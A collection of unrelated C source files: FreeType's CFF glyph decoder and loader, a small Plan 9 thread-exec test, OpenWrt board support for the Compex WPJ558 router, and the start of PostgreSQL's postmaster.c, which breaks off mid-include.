args[0] += args[1]; args++; break; case cff_op_sub: FT_TRACE4(( " sub\n" )); args[0] -= args[1]; args++; break; case cff_op_div: FT_TRACE4(( " div\n" )); args[0] = FT_DivFix( args[0], args[1] ); args++; break; case cff_op_neg: FT_TRACE4(( " neg\n" )); args[0] = -args[0]; args++; break; case cff_op_random: { FT_Fixed Rand; FT_TRACE4(( " rand\n" )); Rand = seed; if ( Rand >= 0x8000L ) Rand++; args[0] = Rand; seed = FT_MulFix( seed, 0x10000L - seed ); if ( seed == 0 ) seed += 0x2873; args++; } break; case cff_op_mul: FT_TRACE4(( " mul\n" )); args[0] = FT_MulFix( args[0], args[1] ); args++; break; case cff_op_sqrt: FT_TRACE4(( " sqrt\n" )); if ( args[0] > 0 ) { FT_Int count = 9; FT_Fixed root = args[0]; FT_Fixed new_root; for (;;) { new_root = ( root + FT_DivFix( args[0], root ) + 1 ) >> 1; if ( new_root == root || count <= 0 ) break; root = new_root; } args[0] = new_root; } else args[0] = 0; args++; break; case cff_op_drop: /* nothing */ FT_TRACE4(( " drop\n" )); break; case cff_op_exch: { FT_Fixed tmp; FT_TRACE4(( " exch\n" )); tmp = args[0]; args[0] = args[1]; args[1] = tmp; args += 2; } break; case cff_op_index: { FT_Int idx = (FT_Int)( args[0] >> 16 ); FT_TRACE4(( " index\n" )); if ( idx < 0 ) idx = 0; else if ( idx > num_args - 2 ) idx = num_args - 2; args[0] = args[-( idx + 1 )]; args++; } break; case cff_op_roll: { FT_Int count = (FT_Int)( args[0] >> 16 ); FT_Int idx = (FT_Int)( args[1] >> 16 ); FT_TRACE4(( " roll\n" )); if ( count <= 0 ) count = 1; args -= count; if ( args < stack ) goto Stack_Underflow; if ( idx >= 0 ) { while ( idx > 0 ) { FT_Fixed tmp = args[count - 1]; FT_Int i; for ( i = count - 2; i >= 0; i-- ) args[i + 1] = args[i]; args[0] = tmp; idx--; } } else { while ( idx < 0 ) { FT_Fixed tmp = args[0]; FT_Int i; for ( i = 0; i < count - 1; i++ ) args[i] = args[i + 1]; args[count - 1] = tmp; idx++; } } args += count; } break; case cff_op_dup: FT_TRACE4(( " dup\n" )); args[1] = args[0]; args += 2; break; case cff_op_put: { FT_Fixed val = args[0]; FT_Int idx = (FT_Int)( args[1] >> 16 ); FT_TRACE4(( " put\n" )); if ( idx >= 0 && idx < CFF_MAX_TRANS_ELEMENTS ) decoder->buildchar[idx] = val; } break; case cff_op_get: { FT_Int idx = (FT_Int)( args[0] >> 16 ); FT_Fixed val = 0; FT_TRACE4(( " get\n" )); if ( idx >= 0 && idx < CFF_MAX_TRANS_ELEMENTS ) val = decoder->buildchar[idx]; args[0] = val; args++; } break; case cff_op_store: FT_TRACE4(( " store\n")); goto Unimplemented; case cff_op_load: FT_TRACE4(( " load\n" )); goto Unimplemented; case cff_op_dotsection: /* this operator is deprecated and ignored by the parser */ FT_TRACE4(( " dotsection\n" )); break; case cff_op_closepath: /* this is an invalid Type 2 operator; however, there */ /* exist fonts which are incorrectly converted from probably */ /* Type 1 to CFF, and some parsers seem to accept it */ FT_TRACE4(( " closepath (invalid op)\n" )); args = stack; break; case cff_op_hsbw: /* this is an invalid Type 2 operator; however, there */ /* exist fonts which are incorrectly converted from probably */ /* Type 1 to CFF, and some parsers seem to accept it */ FT_TRACE4(( " hsbw (invalid op)\n" )); decoder->glyph_width = decoder->nominal_width + ( args[1] >> 16 ); decoder->builder.left_bearing.x = args[0]; decoder->builder.left_bearing.y = 0; x = decoder->builder.pos_x + args[0]; y = decoder->builder.pos_y; args = stack; break; case cff_op_sbw: /* this is an invalid Type 2 operator; however, there */ /* exist fonts which are incorrectly converted from probably */ /* Type 1 to CFF, and some parsers seem to accept it */ FT_TRACE4(( " sbw (invalid op)\n" )); decoder->glyph_width = decoder->nominal_width + ( args[2] >> 16 ); decoder->builder.left_bearing.x = args[0]; decoder->builder.left_bearing.y = args[1]; x = decoder->builder.pos_x + args[0]; y = decoder->builder.pos_y + args[1]; args = stack; break; case cff_op_setcurrentpoint: /* this is an invalid Type 2 operator; however, there */ /* exist fonts which are incorrectly converted from probably */ /* Type 1 to CFF, and some parsers seem to accept it */ FT_TRACE4(( " setcurrentpoint (invalid op)\n" )); x = decoder->builder.pos_x + args[0]; y = decoder->builder.pos_y + args[1]; args = stack; break; case cff_op_callothersubr: /* this is an invalid Type 2 operator; however, there */ /* exist fonts which are incorrectly converted from probably */ /* Type 1 to CFF, and some parsers seem to accept it */ FT_TRACE4(( " callothersubr (invalid op)\n" )); /* subsequent `pop' operands should add the arguments, */ /* this is the implementation described for `unknown' other */ /* subroutines in the Type1 spec. */ /* */ /* XXX Fix return arguments (see discussion below). */ args -= 2 + ( args[-2] >> 16 ); if ( args < stack ) goto Stack_Underflow; break; case cff_op_pop: /* this is an invalid Type 2 operator; however, there */ /* exist fonts which are incorrectly converted from probably */ /* Type 1 to CFF, and some parsers seem to accept it */ FT_TRACE4(( " pop (invalid op)\n" )); /* XXX Increasing `args' is wrong: After a certain number of */ /* `pop's we get a stack overflow. Reason for doing it is */ /* code like this (actually found in a CFF font): */ /* */ /* 17 1 3 callothersubr */ /* pop */ /* callsubr */ /* */ /* Since we handle `callothersubr' as a no-op, and */ /* `callsubr' needs at least one argument, `pop' can't be a */ /* no-op too as it basically should be. */ /* */ /* The right solution would be to provide real support for */ /* `callothersubr' as done in `t1decode.c', however, given */ /* the fact that CFF fonts with `pop' are invalid, it is */ /* questionable whether it is worth the time. */ args++; break; case cff_op_and: { FT_Fixed cond = args[0] && args[1]; FT_TRACE4(( " and\n" )); args[0] = cond ? 0x10000L : 0; args++; } break; case cff_op_or: { FT_Fixed cond = args[0] || args[1]; FT_TRACE4(( " or\n" )); args[0] = cond ? 0x10000L : 0; args++; } break; case cff_op_eq: { FT_Fixed cond = !args[0]; FT_TRACE4(( " eq\n" )); args[0] = cond ? 0x10000L : 0; args++; } break; case cff_op_ifelse: { FT_Fixed cond = ( args[2] <= args[3] ); FT_TRACE4(( " ifelse\n" )); if ( !cond ) args[0] = args[1]; args++; } break; case cff_op_callsubr: { FT_UInt idx = (FT_UInt)( ( args[0] >> 16 ) + decoder->locals_bias ); FT_TRACE4(( " callsubr(%d)\n", idx )); if ( idx >= decoder->num_locals ) { FT_ERROR(( "cff_decoder_parse_charstrings:" " invalid local subr index\n" )); goto Syntax_Error; } if ( zone - decoder->zones >= CFF_MAX_SUBRS_CALLS ) { FT_ERROR(( "cff_decoder_parse_charstrings:" " too many nested subrs\n" )); goto Syntax_Error; } zone->cursor = ip; /* save current instruction pointer */ zone++; zone->base = decoder->locals[idx]; zone->limit = decoder->locals[idx + 1]; zone->cursor = zone->base; if ( !zone->base || zone->limit == zone->base ) { FT_ERROR(( "cff_decoder_parse_charstrings:" " invoking empty subrs\n" )); goto Syntax_Error; } decoder->zone = zone; ip = zone->base; limit = zone->limit; } break; case cff_op_callgsubr: { FT_UInt idx = (FT_UInt)( ( args[0] >> 16 ) + decoder->globals_bias ); FT_TRACE4(( " callgsubr(%d)\n", idx )); if ( idx >= decoder->num_globals ) { FT_ERROR(( "cff_decoder_parse_charstrings:" " invalid global subr index\n" )); goto Syntax_Error; } if ( zone - decoder->zones >= CFF_MAX_SUBRS_CALLS ) { FT_ERROR(( "cff_decoder_parse_charstrings:" " too many nested subrs\n" )); goto Syntax_Error; } zone->cursor = ip; /* save current instruction pointer */ zone++; zone->base = decoder->globals[idx]; zone->limit = decoder->globals[idx + 1]; zone->cursor = zone->base; if ( !zone->base || zone->limit == zone->base ) { FT_ERROR(( "cff_decoder_parse_charstrings:" " invoking empty subrs\n" )); goto Syntax_Error; } decoder->zone = zone; ip = zone->base; limit = zone->limit; } break; case cff_op_return: FT_TRACE4(( " return\n" )); if ( decoder->zone <= decoder->zones ) { FT_ERROR(( "cff_decoder_parse_charstrings:" " unexpected return\n" )); goto Syntax_Error; } decoder->zone--; zone = decoder->zone; ip = zone->cursor; limit = zone->limit; break; default: Unimplemented: FT_ERROR(( "Unimplemented opcode: %d", ip[-1] )); if ( ip[-1] == 12 ) FT_ERROR(( " %d", ip[0] )); FT_ERROR(( "\n" )); return FT_THROW( Unimplemented_Feature ); } decoder->top = args; if ( decoder->top - stack >= CFF_MAX_OPERANDS ) goto Stack_Overflow; } /* general operator processing */ } /* while ip < limit */ FT_TRACE4(( "..end..\n\n" )); Fail: return error; Syntax_Error: FT_TRACE4(( "cff_decoder_parse_charstrings: syntax error\n" )); return FT_THROW( Invalid_File_Format ); Stack_Underflow: FT_TRACE4(( "cff_decoder_parse_charstrings: stack underflow\n" )); return FT_THROW( Too_Few_Arguments ); Stack_Overflow: FT_TRACE4(( "cff_decoder_parse_charstrings: stack overflow\n" )); return FT_THROW( Stack_Overflow ); } #endif /* CFF_CONFIG_OPTION_OLD_ENGINE */ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /********** *********/ /********** *********/ /********** COMPUTE THE MAXIMUM ADVANCE WIDTH *********/ /********** *********/ /********** The following code is in charge of computing *********/ /********** the maximum advance width of the font. It *********/ /********** quickly processes each glyph charstring to *********/ /********** extract the value from either a `sbw' or `seac' *********/ /********** operator. *********/ /********** *********/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ #if 0 /* unused until we support pure CFF fonts */ FT_LOCAL_DEF( FT_Error ) cff_compute_max_advance( TT_Face face, FT_Int* max_advance ) { FT_Error error = FT_Err_Ok; CFF_Decoder decoder; FT_Int glyph_index; CFF_Font cff = (CFF_Font)face->other; *max_advance = 0; /* Initialize load decoder */ cff_decoder_init( &decoder, face, 0, 0, 0, 0 ); decoder.builder.metrics_only = 1; decoder.builder.load_points = 0; /* For each glyph, parse the glyph charstring and extract */ /* the advance width. */ for ( glyph_index = 0; glyph_index < face->root.num_glyphs; glyph_index++ ) { FT_Byte* charstring; FT_ULong charstring_len; /* now get load the unscaled outline */ error = cff_get_glyph_data( face, glyph_index, &charstring, &charstring_len ); if ( !error ) { error = cff_decoder_prepare( &decoder, size, glyph_index ); if ( !error ) error = cff_decoder_parse_charstrings( &decoder, charstring, charstring_len ); cff_free_glyph_data( face, &charstring, &charstring_len ); } /* ignore the error if one has occurred -- skip to next glyph */ error = FT_Err_Ok; } *max_advance = decoder.builder.advance.x; return FT_Err_Ok; } #endif /* 0 */ FT_LOCAL_DEF( FT_Error ) cff_slot_load( CFF_GlyphSlot glyph, CFF_Size size, FT_UInt glyph_index, FT_Int32 load_flags ) { FT_Error error; CFF_Decoder decoder; TT_Face face = (TT_Face)glyph->root.face; FT_Bool hinting, scaled, force_scaling; CFF_Font cff = (CFF_Font)face->extra.data; FT_Matrix font_matrix; FT_Vector font_offset; force_scaling = FALSE; /* in a CID-keyed font, consider `glyph_index' as a CID and map */ /* it immediately to the real glyph_index -- if it isn't a */ /* subsetted font, glyph_indices and CIDs are identical, though */ if ( cff->top_font.font_dict.cid_registry != 0xFFFFU && cff->charset.cids ) { /* don't handle CID 0 (.notdef) which is directly mapped to GID 0 */ if ( glyph_index != 0 ) { glyph_index = cff_charset_cid_to_gindex( &cff->charset, glyph_index ); if ( glyph_index == 0 ) return FT_THROW( Invalid_Argument ); } } else if ( glyph_index >= cff->num_glyphs ) return FT_THROW( Invalid_Argument ); if ( load_flags & FT_LOAD_NO_RECURSE ) load_flags |= FT_LOAD_NO_SCALE | FT_LOAD_NO_HINTING; glyph->x_scale = 0x10000L; glyph->y_scale = 0x10000L; if ( size ) { glyph->x_scale = size->root.metrics.x_scale; glyph->y_scale = size->root.metrics.y_scale; } #ifdef TT_CONFIG_OPTION_EMBEDDED_BITMAPS /* try to load embedded bitmap if any */ /* */ /* XXX: The convention should be emphasized in */ /* the documents because it can be confusing. */ if ( size ) { CFF_Face cff_face = (CFF_Face)size->root.face; SFNT_Service sfnt = (SFNT_Service)cff_face->sfnt; FT_Stream stream = cff_face->root.stream; if ( size->strike_index != 0xFFFFFFFFUL && sfnt->load_eblc && ( load_flags & FT_LOAD_NO_BITMAP ) == 0 ) { TT_SBit_MetricsRec metrics; error = sfnt->load_sbit_image( face, size->strike_index, glyph_index, (FT_Int)load_flags, stream, &glyph->root.bitmap, &metrics ); if ( !error ) { FT_Bool has_vertical_info; FT_UShort advance; FT_Short dummy; glyph->root.outline.n_points = 0; glyph->root.outline.n_contours = 0; glyph->root.metrics.width = (FT_Pos)metrics.width << 6; glyph->root.metrics.height = (FT_Pos)metrics.height << 6; glyph->root.metrics.horiBearingX = (FT_Pos)metrics.horiBearingX << 6; glyph->root.metrics.horiBearingY = (FT_Pos)metrics.horiBearingY << 6; glyph->root.metrics.horiAdvance = (FT_Pos)metrics.horiAdvance << 6; glyph->root.metrics.vertBearingX = (FT_Pos)metrics.vertBearingX << 6; glyph->root.metrics.vertBearingY = (FT_Pos)metrics.vertBearingY << 6; glyph->root.metrics.vertAdvance = (FT_Pos)metrics.vertAdvance << 6; glyph->root.format = FT_GLYPH_FORMAT_BITMAP; if ( load_flags & FT_LOAD_VERTICAL_LAYOUT ) { glyph->root.bitmap_left = metrics.vertBearingX; glyph->root.bitmap_top = metrics.vertBearingY; } else { glyph->root.bitmap_left = metrics.horiBearingX; glyph->root.bitmap_top = metrics.horiBearingY; } /* compute linear advance widths */ ( (SFNT_Service)face->sfnt )->get_metrics( face, 0, glyph_index, &dummy, &advance ); glyph->root.linearHoriAdvance = advance; has_vertical_info = FT_BOOL( face->vertical_info && face->vertical.number_Of_VMetrics > 0 ); /* get the vertical metrics from the vtmx table if we have one */ if ( has_vertical_info ) { ( (SFNT_Service)face->sfnt )->get_metrics( face, 1, glyph_index, &dummy, &advance ); glyph->root.linearVertAdvance = advance; } else { /* make up vertical ones */ if ( face->os2.version != 0xFFFFU ) glyph->root.linearVertAdvance = (FT_Pos) ( face->os2.sTypoAscender - face->os2.sTypoDescender ); else glyph->root.linearVertAdvance = (FT_Pos) ( face->horizontal.Ascender - face->horizontal.Descender ); } return error; } } } #endif /* TT_CONFIG_OPTION_EMBEDDED_BITMAPS */ /* return immediately if we only want the embedded bitmaps */ if ( load_flags & FT_LOAD_SBITS_ONLY ) return FT_THROW( Invalid_Argument ); /* if we have a CID subfont, use its matrix (which has already */ /* been multiplied with the root matrix) */ /* this scaling is only relevant if the PS hinter isn't active */ if ( cff->num_subfonts ) { FT_ULong top_upm, sub_upm; FT_Byte fd_index = cff_fd_select_get( &cff->fd_select, glyph_index ); if ( fd_index >= cff->num_subfonts ) fd_index = (FT_Byte)( cff->num_subfonts - 1 ); top_upm = cff->top_font.font_dict.units_per_em; sub_upm = cff->subfonts[fd_index]->font_dict.units_per_em; font_matrix = cff->subfonts[fd_index]->font_dict.font_matrix; font_offset = cff->subfonts[fd_index]->font_dict.font_offset; if ( top_upm != sub_upm ) { glyph->x_scale = FT_MulDiv( glyph->x_scale, top_upm, sub_upm ); glyph->y_scale = FT_MulDiv( glyph->y_scale, top_upm, sub_upm ); force_scaling = TRUE; } } else { font_matrix = cff->top_font.font_dict.font_matrix; font_offset = cff->top_font.font_dict.font_offset; } glyph->root.outline.n_points = 0; glyph->root.outline.n_contours = 0; /* top-level code ensures that FT_LOAD_NO_HINTING is set */ /* if FT_LOAD_NO_SCALE is active */ hinting = FT_BOOL( ( load_flags & FT_LOAD_NO_HINTING ) == 0 ); scaled = FT_BOOL( ( load_flags & FT_LOAD_NO_SCALE ) == 0 ); glyph->hint = hinting; glyph->scaled = scaled; glyph->root.format = FT_GLYPH_FORMAT_OUTLINE; /* by default */ { #ifdef CFF_CONFIG_OPTION_OLD_ENGINE CFF_Driver driver = (CFF_Driver)FT_FACE_DRIVER( face ); #endif FT_Byte* charstring; FT_ULong charstring_len; cff_decoder_init( &decoder, face, size, glyph, hinting, FT_LOAD_TARGET_MODE( load_flags ) ); if ( load_flags & FT_LOAD_ADVANCE_ONLY ) decoder.width_only = TRUE; decoder.builder.no_recurse = (FT_Bool)( load_flags & FT_LOAD_NO_RECURSE ); /* now load the unscaled outline */ error = cff_get_glyph_data( face, glyph_index, &charstring, &charstring_len ); if ( error ) goto Glyph_Build_Finished; error = cff_decoder_prepare( &decoder, size, glyph_index ); if ( error ) goto Glyph_Build_Finished; #ifdef CFF_CONFIG_OPTION_OLD_ENGINE /* choose which CFF renderer to use */ if ( driver->hinting_engine == FT_CFF_HINTING_FREETYPE ) error = cff_decoder_parse_charstrings( &decoder, charstring, charstring_len ); else #endif { error = cf2_decoder_parse_charstrings( &decoder, charstring, charstring_len ); /* Adobe's engine uses 16.16 numbers everywhere; */ /* as a consequence, glyphs larger than 2000ppem get rejected */ if ( FT_ERR_EQ( error, Glyph_Too_Big ) ) { /* this time, we retry unhinted and scale up the glyph later on */ /* (the engine uses and sets the hardcoded value 0x10000 / 64 = */ /* 0x400 for both `x_scale' and `y_scale' in this case) */ hinting = FALSE; force_scaling = TRUE; glyph->hint = hinting; error = cf2_decoder_parse_charstrings( &decoder, charstring, charstring_len ); } } cff_free_glyph_data( face, &charstring, charstring_len ); if ( error ) goto Glyph_Build_Finished; #ifdef FT_CONFIG_OPTION_INCREMENTAL /* Control data and length may not be available for incremental */ /* fonts. */ if ( face->root.internal->incremental_interface ) { glyph->root.control_data = 0; glyph->root.control_len = 0; } else #endif /* FT_CONFIG_OPTION_INCREMENTAL */ /* We set control_data and control_len if charstrings is loaded. */ /* See how charstring loads at cff_index_access_element() in */ /* cffload.c. */ { CFF_Index csindex = &cff->charstrings_index; if ( csindex->offsets ) { glyph->root.control_data = csindex->bytes + csindex->offsets[glyph_index] - 1; glyph->root.control_len = charstring_len; } } Glyph_Build_Finished: /* save new glyph tables, if no error */ if ( !error ) cff_builder_done( &decoder.builder ); /* XXX: anything to do for broken glyph entry? */ } #ifdef FT_CONFIG_OPTION_INCREMENTAL /* Incremental fonts can optionally override the metrics. */ if ( !error && face->root.internal->incremental_interface && face->root.internal->incremental_interface->funcs->get_glyph_metrics ) { FT_Incremental_MetricsRec metrics; metrics.bearing_x = decoder.builder.left_bearing.x; metrics.bearing_y = 0; metrics.advance = decoder.builder.advance.x; metrics.advance_v = decoder.builder.advance.y; error = face->root.internal->incremental_interface->funcs->get_glyph_metrics( face->root.internal->incremental_interface->object, glyph_index, FALSE, &metrics ); decoder.builder.left_bearing.x = metrics.bearing_x; decoder.builder.advance.x = metrics.advance; decoder.builder.advance.y = metrics.advance_v; } #endif /* FT_CONFIG_OPTION_INCREMENTAL */ if ( !error ) { /* Now, set the metrics -- this is rather simple, as */ /* the left side bearing is the xMin, and the top side */ /* bearing the yMax. */ /* For composite glyphs, return only left side bearing and */ /* advance width. */ if ( load_flags & FT_LOAD_NO_RECURSE ) { FT_Slot_Internal internal = glyph->root.internal; glyph->root.metrics.horiBearingX = decoder.builder.left_bearing.x; glyph->root.metrics.horiAdvance = decoder.glyph_width; internal->glyph_matrix = font_matrix; internal->glyph_delta = font_offset; internal->glyph_transformed = 1; } else { FT_BBox cbox; FT_Glyph_Metrics* metrics = &glyph->root.metrics; FT_Vector advance; FT_Bool has_vertical_info; /* copy the _unscaled_ advance width */ metrics->horiAdvance = decoder.glyph_width; glyph->root.linearHoriAdvance = decoder.glyph_width; glyph->root.internal->glyph_transformed = 0; has_vertical_info = FT_BOOL( face->vertical_info && face->vertical.number_Of_VMetrics > 0 ); /* get the vertical metrics from the vtmx table if we have one */ if ( has_vertical_info ) { FT_Short vertBearingY = 0; FT_UShort vertAdvance = 0; ( (SFNT_Service)face->sfnt )->get_metrics( face, 1, glyph_index, &vertBearingY, &vertAdvance ); metrics->vertBearingY = vertBearingY; metrics->vertAdvance = vertAdvance; } else { /* make up vertical ones */ if ( face->os2.version != 0xFFFFU ) metrics->vertAdvance = (FT_Pos)( face->os2.sTypoAscender - face->os2.sTypoDescender ); else metrics->vertAdvance = (FT_Pos)( face->horizontal.Ascender - face->horizontal.Descender ); } glyph->root.linearVertAdvance = metrics->vertAdvance; glyph->root.format = FT_GLYPH_FORMAT_OUTLINE; glyph->root.outline.flags = 0; if ( size && size->root.metrics.y_ppem < 24 ) glyph->root.outline.flags |= FT_OUTLINE_HIGH_PRECISION; glyph->root.outline.flags |= FT_OUTLINE_REVERSE_FILL; if ( !( font_matrix.xx == 0x10000L && font_matrix.yy == 0x10000L && font_matrix.xy == 0 && font_matrix.yx == 0 ) ) FT_Outline_Transform( &glyph->root.outline, &font_matrix ); if ( !( font_offset.x == 0 && font_offset.y == 0 ) ) FT_Outline_Translate( &glyph->root.outline, font_offset.x, font_offset.y ); advance.x = metrics->horiAdvance; advance.y = 0; FT_Vector_Transform( &advance, &font_matrix ); metrics->horiAdvance = advance.x + font_offset.x; advance.x = 0; advance.y = metrics->vertAdvance; FT_Vector_Transform( &advance, &font_matrix ); metrics->vertAdvance = advance.y + font_offset.y; if ( ( load_flags & FT_LOAD_NO_SCALE ) == 0 || force_scaling ) { /* scale the outline and the metrics */ FT_Int n; FT_Outline* cur = &glyph->root.outline; FT_Vector* vec = cur->points; FT_Fixed x_scale = glyph->x_scale; FT_Fixed y_scale = glyph->y_scale; /* First of all, scale the points */ if ( !hinting || !decoder.builder.hints_funcs ) for ( n = cur->n_points; n > 0; n--, vec++ ) { vec->x = FT_MulFix( vec->x, x_scale ); vec->y = FT_MulFix( vec->y, y_scale ); } /* Then scale the metrics */ metrics->horiAdvance = FT_MulFix( metrics->horiAdvance, x_scale ); metrics->vertAdvance = FT_MulFix( metrics->vertAdvance, y_scale ); } /* compute the other metrics */ FT_Outline_Get_CBox( &glyph->root.outline, &cbox ); metrics->width = cbox.xMax - cbox.xMin; metrics->height = cbox.yMax - cbox.yMin; metrics->horiBearingX = cbox.xMin; metrics->horiBearingY = cbox.yMax; if ( has_vertical_info ) metrics->vertBearingX = metrics->horiBearingX - metrics->horiAdvance / 2; else { if ( load_flags & FT_LOAD_VERTICAL_LAYOUT ) ft_synthesize_vertical_metrics( metrics, metrics->vertAdvance ); } } } return error; } /* END */
889402.c
#include "u.h" #include "libc.h" #include "thread.h" void execproc(void *v) { int i, fd[3]; char buf[100], *args[3]; i = (int)(uintptr)v; sprint(buf, "%d", i); fd[0] = dup(0, -1); fd[1] = dup(1, -1); fd[2] = dup(2, -1); args[0] = "echo"; args[1] = buf; args[2] = nil; threadexec(nil, fd, args[0], args); } void threadmain(int argc, char **argv) { int i; Channel *c; Waitmsg *w; ARGBEGIN{ case 'D': break; }ARGEND c = threadwaitchan(); for(i=0;; i++){ proccreate(execproc, (void*)(uintptr)i, 16384); w = recvp(c); if(w == nil) sysfatal("exec/recvp failed: %r"); } }
213771.c
/* * Compex WPJ558 board support * * Copyright (c) 2012 Qualcomm Atheros * Copyright (c) 2012-2013 Gabor Juhos <[email protected]> * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. * */ #include <linux/pci.h> #include <linux/phy.h> #include <linux/gpio.h> #include <linux/platform_device.h> #include <linux/ath9k_platform.h> #include <linux/ar8216_platform.h> #include <asm/mach-ath79/ar71xx_regs.h> #include "common.h" #include "pci.h" #include "dev-ap9x-pci.h" #include "dev-gpio-buttons.h" #include "dev-eth.h" #include "dev-usb.h" #include "dev-leds-gpio.h" #include "dev-m25p80.h" #include "dev-spi.h" #include "dev-wmac.h" #include "machtypes.h" #define WPJ558_GPIO_LED_SIG1 14 #define WPJ558_GPIO_LED_SIG2 15 #define WPJ558_GPIO_LED_SIG3 22 #define WPJ558_GPIO_LED_SIG4 23 #define WPJ558_GPIO_BUZZER 4 #define WPJ558_GPIO_BTN_RESET 17 #define WPJ558_KEYS_POLL_INTERVAL 20 /* msecs */ #define WPJ558_KEYS_DEBOUNCE_INTERVAL (3 * WPJ558_KEYS_POLL_INTERVAL) #define WPJ558_MAC_OFFSET 0x10 #define WPJ558_WMAC_CALDATA_OFFSET 0x1000 static struct gpio_led wpj558_leds_gpio[] __initdata = { { .name = "wpj558:red:sig1", .gpio = WPJ558_GPIO_LED_SIG1, .active_low = 1, }, { .name = "wpj558:yellow:sig2", .gpio = WPJ558_GPIO_LED_SIG2, .active_low = 1, }, { .name = "wpj558:green:sig3", .gpio = WPJ558_GPIO_LED_SIG3, .active_low = 1, }, { .name = "wpj558:green:sig4", .gpio = WPJ558_GPIO_LED_SIG4, .active_low = 1, }, { .name = "wpj558:buzzer", .gpio = WPJ558_GPIO_BUZZER, .active_low = 0, } }; static struct gpio_keys_button wpj558_gpio_keys[] __initdata = { { .desc = "reset", .type = EV_KEY, .code = KEY_RESTART, .debounce_interval = WPJ558_KEYS_DEBOUNCE_INTERVAL, .gpio = WPJ558_GPIO_BTN_RESET, .active_low = 1, }, }; static struct ar8327_pad_cfg wpj558_ar8327_pad0_cfg = { .mode = AR8327_PAD_MAC_SGMII, .sgmii_delay_en = true, }; static struct ar8327_pad_cfg wpj558_ar8327_pad6_cfg = { .mode = AR8327_PAD_MAC_RGMII, .txclk_delay_en = true, .rxclk_delay_en = true, .txclk_delay_sel = AR8327_CLK_DELAY_SEL1, .rxclk_delay_sel = AR8327_CLK_DELAY_SEL2, }; static struct ar8327_platform_data wpj558_ar8327_data = { .pad0_cfg = &wpj558_ar8327_pad0_cfg, .pad6_cfg = &wpj558_ar8327_pad6_cfg, .port0_cfg = { .force_link = 1, .speed = AR8327_PORT_SPEED_1000, .duplex = 1, .txpause = 1, .rxpause = 1, }, .port6_cfg = { .force_link = 1, .speed = AR8327_PORT_SPEED_1000, .duplex = 1, .txpause = 1, .rxpause = 1, }, }; static struct mdio_board_info wpj558_mdio0_info[] = { { .bus_id = "ag71xx-mdio.0", .phy_addr = 0, .platform_data = &wpj558_ar8327_data, }, }; static void __init wpj558_setup(void) { u8 *art = (u8 *) KSEG1ADDR(0x1fff0000); u8 *mac = (u8 *) KSEG1ADDR(0x1f02e000); ath79_register_m25p80(NULL); ath79_register_leds_gpio(-1, ARRAY_SIZE(wpj558_leds_gpio), wpj558_leds_gpio); ath79_register_gpio_keys_polled(-1, WPJ558_KEYS_POLL_INTERVAL, ARRAY_SIZE(wpj558_gpio_keys), wpj558_gpio_keys); ath79_register_usb(); ath79_register_wmac(art + WPJ558_WMAC_CALDATA_OFFSET, NULL); ath79_register_pci(); mdiobus_register_board_info(wpj558_mdio0_info, ARRAY_SIZE(wpj558_mdio0_info)); ath79_register_mdio(0, 0x0); ath79_init_mac(ath79_eth0_data.mac_addr, mac + WPJ558_MAC_OFFSET, 0); ath79_setup_qca955x_eth_cfg(QCA955X_ETH_CFG_RGMII_EN); /* GMAC0 is connected to an AR8327 switch */ ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII; ath79_eth0_data.phy_mask = BIT(0); ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev; ath79_eth0_pll_data.pll_1000 = 0x56000000; ath79_register_eth(0); } MIPS_MACHINE(ATH79_MACH_WPJ558, "WPJ558", "Compex WPJ558", wpj558_setup);
234037.c
/*------------------------------------------------------------------------- * * postmaster.c * This program acts as a clearing house for requests to the * POSTGRES system. Frontend programs send a startup message * to the Postmaster and the postmaster uses the info in the * message to setup a backend process. * * The postmaster also manages system-wide operations such as * startup and shutdown. The postmaster itself doesn't do those * operations, mind you --- it just forks off a subprocess to do them * at the right times. It also takes care of resetting the system * if a backend crashes. * * The postmaster process creates the shared memory and semaphore * pools during startup, but as a rule does not touch them itself. * In particular, it is not a member of the PGPROC array of backends * and so it cannot participate in lock-manager operations. Keeping * the postmaster away from shared memory operations makes it simpler * and more reliable. The postmaster is almost always able to recover * from crashes of individual backends by resetting shared memory; * if it did much with shared memory then it would be prone to crashing * along with the backends. * * When a request message is received, we now fork() immediately. * The child process performs authentication of the request, and * then becomes a backend if successful. This allows the auth code * to be written in a simple single-threaded style (as opposed to the * crufty "poor man's multitasking" code that used to be needed). * More importantly, it ensures that blockages in non-multithreaded * libraries like SSL or PAM cannot cause denial of service to other * clients. * * * Portions Copyright (c) 1996-2017, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * * IDENTIFICATION * src/backend/postmaster/postmaster.c * * NOTES * * Initialization: * The Postmaster sets up shared memory data structures * for the backends. * * Synchronization: * The Postmaster shares memory with the backends but should avoid * touching shared memory, so as not to become stuck if a crashing * backend screws up locks or shared memory. Likewise, the Postmaster * should never block on messages from frontend clients. * * Garbage Collection: * The Postmaster cleans up after backends if they have an emergency * exit and/or core dump. * * Error Reporting: * Use write_stderr() only for reporting "interactive" errors * (essentially, bogus arguments on the command line). Once the * postmaster is launched, use ereport(). * *------------------------------------------------------------------------- */ #include "postgres.h" #include <unistd.h> #include <signal.h> #include <time.h> #include <sys/wait.h> #include <ctype.h> #include <sys/stat.h> #include <sys/socket.h> #include <fcntl.h> #include <sys/param.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <limits.h> #ifdef HAVE_SYS_SELECT_H #include <sys/select.h> #endif #ifdef USE_BONJOUR #include <dns_sd.h> #endif #ifdef USE_SYSTEMD #include <systemd/sd-daemon.h> #endif #ifdef HAVE_PTHREAD_IS_THREADED_NP #include <pthread.h> #endif #include "access/transam.h" #include "access/xlog.h" #include 